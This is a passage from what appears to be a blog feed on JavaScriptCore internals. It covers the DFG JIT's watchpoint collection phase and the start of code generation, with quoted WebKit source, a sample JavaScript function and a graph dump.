</span></span></code></pre></div><p>In this snippet, the node <code>D@74</code> has <code>loc24</code> added to the IR to represent the spill register that the node should use. Some nodes and their children may also share a spill register as is the case with nodes <code>D@77</code> and <code>D@78</code>.</p>
<h2 id="watchpoint-collection">Watchpoint Collection</h2>
<blockquote>
<p>Collects all desired watchpoints into the Graph::watchpoints() data structure.</p>
</blockquote>
<p>This phase loops over the nodes in the graph starting with the last block to the first and attempts to add <em>watchpoints</em> for DFG nodes that meet certain conditions. These conditions are is described in the <a href="https://github.com/WebKit/WebKit/blob/56b7318e8392b31fa49d755aefa016261623345a/Source/JavaScriptCore/dfg/DFGWatchpointCollectionPhase.cpp#L71">snippet from the phase implementation</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">handle</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">switch</span> (m_node<span style="color:#f92672">-&gt;</span>op()) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">case</span> TypeOfIsUndefined:
</span></span><span style="display:flex;"><span>        handleMasqueradesAsUndefined();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">case</span> CompareEq:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (m_node<span style="color:#f92672">-&gt;</span>isBinaryUseKind(ObjectUse)
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">||</span> (m_node<span style="color:#f92672">-&gt;</span>child1().useKind() <span style="color:#f92672">==</span> ObjectUse <span style="color:#f92672">&amp;&amp;</span> m_node<span style="color:#f92672">-&gt;</span>child2().useKind() <span style="color:#f92672">==</span> ObjectOrOtherUse)
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">||</span> (m_node<span style="color:#f92672">-&gt;</span>child1().useKind() <span style="color:#f92672">==</span> ObjectOrOtherUse <span style="color:#f92672">&amp;&amp;</span> m_node<span style="color:#f92672">-&gt;</span>child2().useKind() <span style="color:#f92672">==</span> ObjectUse)
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">||</span> (m_node<span style="color:#f92672">-&gt;</span>child1().useKind() <span style="color:#f92672">==</span> KnownOtherUse <span style="color:#f92672">||</span> m_node<span style="color:#f92672">-&gt;</span>child2().useKind() <span style="color:#f92672">==</span> KnownOtherUse)
</span></span><span style="display:flex;"><span>            handleMasqueradesAsUndefined();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">case</span> LogicalNot:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">case</span> Branch:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">switch</span> (m_node<span style="color:#f92672">-&gt;</span>child1().useKind()) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">case</span> ObjectOrOtherUse:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">case</span> UntypedUse:
</span></span><span style="display:flex;"><span>            handleMasqueradesAsUndefined();
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">default</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">default</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">handleMasqueradesAsUndefined</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (m_graph.masqueradesAsUndefinedWatchpointIsStillValid(m_node<span style="color:#f92672">-&gt;</span>origin.semantic))
</span></span><span style="display:flex;"><span>        addLazily(globalObject()<span style="color:#f92672">-&gt;</span>masqueradesAsUndefinedWatchpoint());
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The function <a href="https://github.com/WebKit/WebKit/blob/56b7318e8392b31fa49d755aefa016261623345a/Source/JavaScriptCore/dfg/DFGWatchpointCollectionPhase.cpp#L104"><code>handleMasqueradesAsUndefined</code></a> when invoked adds a <em>watchpoint</em> to the <em>WatchpointSet</em> <a href="https://github.com/WebKit/WebKit/blob/56b7318e8392b31fa49d755aefa016261623345a/Source/JavaScriptCore/runtime/JSGlobalObject.h#L477"><code>m_masqueradesAsUndefinedWatchpoint</code></a>. Note that changes to the WatchpointSets are not reflected in the DFG graph dump.</p>
<h1 id="conclusion">Conclusion</h1>
<p>This post explored the various components that make up the DFG optimisation pipeline by understanding how each optimisation phase transforms the graph. In <a href="/posts/jsc-part5-the-dfg-jit-osr/">Part V</a> of this blog series we dive into the details of how the DFG compiles this optimised graph into machine code and how execution enters to and exits from this optimised machine code.</p>
<h1 id="appendix">Appendix</h1>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://webkit.org/blog/10308/speculation-in-javascriptcore/">https://webkit.org/blog/10308/speculation-in-javascriptcore/</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content>
        </item>
        
        <item>
            <title>JavaScriptCore Internals Part V: The DFG (Data Flow Graph) JIT -- On Stack Replacement</title>
            <link>https://zon8.re/posts/jsc-part5-the-dfg-jit-osr/</link>
            <pubDate>Wed, 26 May 2021 00:00:00 +0000</pubDate>
            
            <guid>https://zon8.re/posts/jsc-part5-the-dfg-jit-osr/</guid>
            <description>Introduction This blog post concludes this review of the DFG with a discussion on the final two stages of the optimisation pipeline: Code generation and OSR. This post begins by examining how an optimised DFG graph is lowered to machine code and how one can inspect the generated machine code. Finally, the blog covers OSR Entry and OSR Exit to and from this optimised compiled code.
Graph Compilation To begin exploring graph compilation, consider the following JavaScript program and the function jitMe that will be compiled with in the DFG:</description>
            <content type="html"><![CDATA[<h1 id="introduction">Introduction</h1>
<p>This blog post concludes this review of the DFG with a discussion on the final two stages of the optimisation pipeline: Code generation and OSR. This post begins by examining how an optimised DFG graph is lowered to machine code and how one can inspect the generated machine code. Finally, the blog covers OSR Entry and OSR Exit to and from this optimised compiled code.</p>
<h1 id="graph-compilation">Graph Compilation</h1>
<p>To begin exploring graph compilation, consider the following JavaScript program and the function <code>jitMe</code> that will be compiled with in the DFG:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">jitMe</span>(<span style="color:#a6e22e">x</span>,<span style="color:#a6e22e">y</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">y</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">y</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">1000</span>; <span style="color:#a6e22e">y</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">jitMe</span>(<span style="color:#a6e22e">x</span>,<span style="color:#a6e22e">y</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The function <code>jitMe</code> is executed in a loop over a thousand iterations to trigger DFG optimisation and generation of a DFG graph that is then optimised by running it through the optimisation phases described in <a href="/posts/jsc-part4-the-dfg-jit-graph-optimisation/">Part IV</a>.</p>
<h2 id="code-generation">Code Generation</h2>
<p>Once an optimised graph has been generated for the function <code>jitMe</code>, it&rsquo;s now time to lower this to machine code. Let&rsquo;s continue our inspection in <a href="https://github.com/WebKit/WebKit/blob/aa4c45d4b303c9e5cc9138f113ff106efe710027/Source/JavaScriptCore/dfg/DFGPlan.cpp#L397"><code>DFG::Plan::compileInThreadImpl</code></a> after the optimisation phases:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>JITCompiler <span style="color:#a6e22e">dataFlowJIT</span>(dfg);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (m_codeBlock<span style="color:#f92672">-&gt;</span>codeType() <span style="color:#f92672">==</span> FunctionCode)
</span></span><span style="display:flex;"><span>    dataFlowJIT.compileFunction();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>dataFlowJIT.compile();
</span></span></code></pre></div><p>First a <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/dfg/DFGPlan.cpp#L397"><code>JITCompiler</code> object is initialised</a> using the optimised graph. This sets up references to the CodeBlock, the optimised graph, a pointer to JIT memory and a reference to the JSC vm. The <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/dfg/DFGJITCompiler.cpp#L47"><code>JITCompiler</code> constructor</a> is listed below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>JITCompiler<span style="color:#f92672">::</span>JITCompiler(Graph<span style="color:#f92672">&amp;</span> dfg)
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">:</span> CCallHelpers(dfg.m_codeBlock)
</span></span><span style="display:flex;"><span>    , m_graph(dfg)
</span></span><span style="display:flex;"><span>    , m_jitCode(adoptRef(<span style="color:#66d9ef">new</span> JITCode()))
</span></span><span style="display:flex;"><span>    , m_blockHeads(dfg.numBlocks())
</span></span><span style="display:flex;"><span>    , m_pcToCodeOriginMapBuilder(dfg.m_vm)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... code truncated for brevity.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>}
</span></span></code></pre></div><p>With the <code>JITCompiler</code> initialised, the next step is to compile the dfg to machine code. This is done by calling one of two functions. If the CodeBlock being compiled is a JS Function, the function <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/dfg/DFGPlan.cpp#L399"><code>JITCompiler::compileFunction</code> is called</a>. For all other CodeBlock types, the <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/dfg/DFGPlan.cpp#L401"><code>JITCompiler::compile</code> function is called</a>. In our example above, the goal is to compile the <code>jitMe</code> function in the DFG and that leads to the call to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/dfg/DFGJITCompiler.cpp#L398"><code>compileFunction</code></a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> JITCompiler<span style="color:#f92672">::</span>compileFunction()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// === Function header code generation ===
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// === Function body code generation ===
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    m_speculative <span style="color:#f92672">=</span> makeUnique<span style="color:#f92672">&lt;</span>SpeculativeJIT<span style="color:#f92672">&gt;</span>(<span style="color:#f92672">*</span><span style="color:#66d9ef">this</span>);
</span></span><span style="display:flex;"><span>    compileBody();
</span></span><span style="display:flex;"><span>    setEndOfMainPath();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// === Function footer code generation ===
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Generate slow path code.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    m_speculative<span style="color:#f92672">-&gt;</span>runSlowPathGenerators(m_pcToCodeOriginMapBuilder);
</span></span><span style="display:flex;"><span>    m_pcToCodeOriginMapBuilder.appendItem(labelIgnoringWatchpoints(), PCToCodeOriginMapBuilder<span style="color:#f92672">::</span>defaultCodeOrigin());
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    compileExceptionHandlers();
</span></span><span style="display:flex;"><span>    linkOSRExits();
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Create OSR entry trampolines if necessary.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    m_speculative<span style="color:#f92672">-&gt;</span>createOSREntries();
</span></span><span style="display:flex;"><span>    setEndOfCode();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// === Link ===
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">auto</span> linkBuffer <span style="color:#f92672">=</span> makeUnique<span style="color:#f92672">&lt;</span>LinkBuffer<span style="color:#f92672">&gt;</span>(<span style="color:#f92672">*</span><span style="color:#66d9ef">this</span>, m_codeBlock, JITCompilationCanFail);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (linkBuffer<span style="color:#f92672">-&gt;</span>didFailToAllocate()) {
</span></span><span style="display:flex;"><span>        m_graph.m_plan.setFinalizer(makeUnique<span style="color:#f92672">&lt;</span>FailedFinalizer<span style="color:#f92672">&gt;</span>(m_graph.m_plan));
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    link(<span style="color:#f92672">*</span>linkBuffer);
</span></span><span style="display:flex;"><span>    m_speculative<span style="color:#f92672">-&gt;</span>linkOSREntries(<span style="color:#f92672">*</span>linkBuffer);
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    MacroAssemblerCodePtr<span style="color:#f92672">&lt;</span>JSEntryPtrTag<span style="color:#f92672">&gt;</span> withArityCheck <span style="color:#f92672">=</span> linkBuffer<span style="color:#f92672">-&gt;</span>locationOf<span style="color:#f92672">&lt;</span>JSEntryPtrTag<span style="color:#f92672">&gt;</span>(arityCheck);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    m_graph.m_plan.setFinalizer(makeUnique<span style="color:#f92672">&lt;</span>JITFinalizer<span style="color:#f92672">&gt;</span>(
</span></span><span style="display:flex;"><span>        m_graph.m_plan, m_jitCode.releaseNonNull(), WTFMove(linkBuffer), withArityCheck));
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>This function begins by <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/dfg/DFGJITCompiler.cpp#L404">emitting code for the function header</a>, this involves saving frame preservation, stack pointer adjustments to accommodate local variables and other function prologue activities. This is then followed by <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/dfg/DFGJITCompiler.cpp#L423">instantiating the <code>SpeculativeJIT</code></a> and initiating compilation using this instance:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#75715e">// === Function body code generation ===
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>m_speculative <span style="color:#f92672">=</span> makeUnique<span style="color:#f92672">&lt;</span>SpeculativeJIT<span style="color:#f92672">&gt;</span>(<span style="color:#f92672">*</span><span style="color:#66d9ef">this</span>);
</span></span><span style="display:flex;"><span>compileBody();
</span></span></code></pre></div><p>The function <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/dfg/DFGJITCompiler.cpp#L123"><code>JITCompiler::compileBody</code></a> listed above ends up calling <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp#L2148"><code>SpeculativeJIT::compile</code></a> which loops over the blocks in the DFG and emits machine code for each of them. Once this compilation is completed, it then links the various blocks to complete the compilation:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">bool</span> SpeculativeJIT<span style="color:#f92672">::</span>compile()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    checkArgumentTypes();
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    ASSERT(<span style="color:#f92672">!</span>m_currentNode);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> (BlockIndex blockIndex <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; blockIndex <span style="color:#f92672">&lt;</span> m_jit.graph().numBlocks(); <span style="color:#f92672">++</span>blockIndex) {
</span></span><span style="display:flex;"><span>        m_jit.setForBlockIndex(blockIndex);
</span></span><span style="display:flex;"><span>        m_block <span style="color:#f92672">=</span> m_jit.graph().block(blockIndex);
</span></span><span style="display:flex;"><span>        compileCurrentBlock();
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    linkBranches();
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> true;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The function <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp#L1934"><code>compileCurrentBlock</code></a> iterates over each node in the block and invokes the function <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT64.cpp#L2135"><code>SpeculativeJIT::compile(Node*)</code></a> on each node:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> SpeculativeJIT<span style="color:#f92672">::</span>compile(Node<span style="color:#f92672">*</span> node)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    NodeType op <span style="color:#f92672">=</span> node<span style="color:#f92672">-&gt;</span>op();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">switch</span> (op) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">case</span> JSConstant:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">case</span> DoubleConstant:
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">case</span> GetLocal: {
</span></span><span style="display:flex;"><span>        AbstractValue<span style="color:#f92672">&amp;</span> value <span style="color:#f92672">=</span> m_state.operand(node<span style="color:#f92672">-&gt;</span>operand());
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// If the CFA is tracking this variable and it found that the variable
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#75715e">// cannot have been assigned, then don&#39;t attempt to proceed.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">if</span> (value.isClear()) {
</span></span><span style="display:flex;"><span>            m_compileOkay <span style="color:#f92672">=</span> false;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">switch</span> (node<span style="color:#f92672">-&gt;</span>variableAccessData()<span style="color:#f92672">-&gt;</span>flushFormat()) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">case</span> FlushedDouble: {
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">case</span> FlushedInt32: {
</span></span><span style="display:flex;"><span>            GPRTemporary <span style="color:#a6e22e">result</span>(<span style="color:#66d9ef">this</span>);
</span></span><span style="display:flex;"><span>            m_jit.load32(JITCompiler<span style="color:#f92672">::</span>payloadFor(node<span style="color:#f92672">-&gt;</span>machineLocal()), result.gpr());
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">// Like strictInt32Result, but don&#39;t useChildren - our children are phi nodes,
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            <span style="color:#75715e">// and don&#39;t represent values within this dataflow with virtual registers.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            VirtualRegister virtualRegister <span style="color:#f92672">=</span> node<span style="color:#f92672">-&gt;</span>virtualRegister();
</span></span><span style="display:flex;"><span>            m_gprs.retain(result.gpr(), virtualRegister, SpillOrderInteger);
</span></span><span style="display:flex;"><span>            generationInfoFromVirtualRegister(virtualRegister).initInt32(node, node<span style="color:#f92672">-&gt;</span>refCount(), result.gpr());
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">case</span> FlushedInt52: {
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">default</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">case</span> MovHint: {
</span></span><span style="display:flex;"><span>        compileMovHint(m_currentNode);
</span></span><span style="display:flex;"><span>        noResult(node);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">case</span> ArithAdd:
</span></span><span style="display:flex;"><span>        compileArithAdd(node);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code turncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>From the snippet above, one can see that each node is filtered through a switch case and depending on the node type, a set of actions is selected to compile the node. Let&rsquo;s attempt to trace the code generated for the following nodes, generated from parsing and optimising our test script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">jitMe</span>(<span style="color:#a6e22e">x</span>,<span style="color:#a6e22e">y</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">y</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">y</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">1000</span>; <span style="color:#a6e22e">y</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">jitMe</span>(<span style="color:#a6e22e">x</span>,<span style="color:#a6e22e">y</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>A truncated version of the final optimised graph and the nodes that compilation will be traced for are listed below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">28</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">1</span><span style="color:#f92672">:</span>loc5<span style="color:#f92672">&gt;</span> GetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">1</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>UseAsOther, BoolInt32, arg1(B<span style="color:#f92672">&lt;</span>BoolInt32<span style="color:#f92672">&gt;/</span>FlushedInt32), machine:arg1, R:Stack(arg1), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid)  predicting BoolInt32
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">29</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">1</span><span style="color:#f92672">:</span>loc6<span style="color:#f92672">&gt;</span> GetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">2</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>UseAsOther, NonBoolInt32, arg2(C<span style="color:#f92672">&lt;</span>Int32<span style="color:#f92672">&gt;/</span>FlushedInt32), machine:arg2, R:Stack(arg2), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid)  predicting NonBoolInt32
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">30</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">2</span><span style="color:#f92672">:</span>loc6<span style="color:#f92672">&gt;</span> ArithAdd(Int32:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">28</span>, Int32:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">29</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>UseAsOther, Int32, CheckOverflow, Exits, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid)
</span></span></code></pre></div><p>A couple useful flags that help with tracing compilation and code generation are listed below:</p>
<ul>
<li>
<p><code>verboseCompilation</code>: This enables printing compilation information form the SpeculativeJIT as each node is compiled.</p>
</li>
<li>
<p><code>dumpDFGDisassembly</code>: This enables dumping of compiled code for each node at the end of the code generation stage.</p>
</li>
</ul>
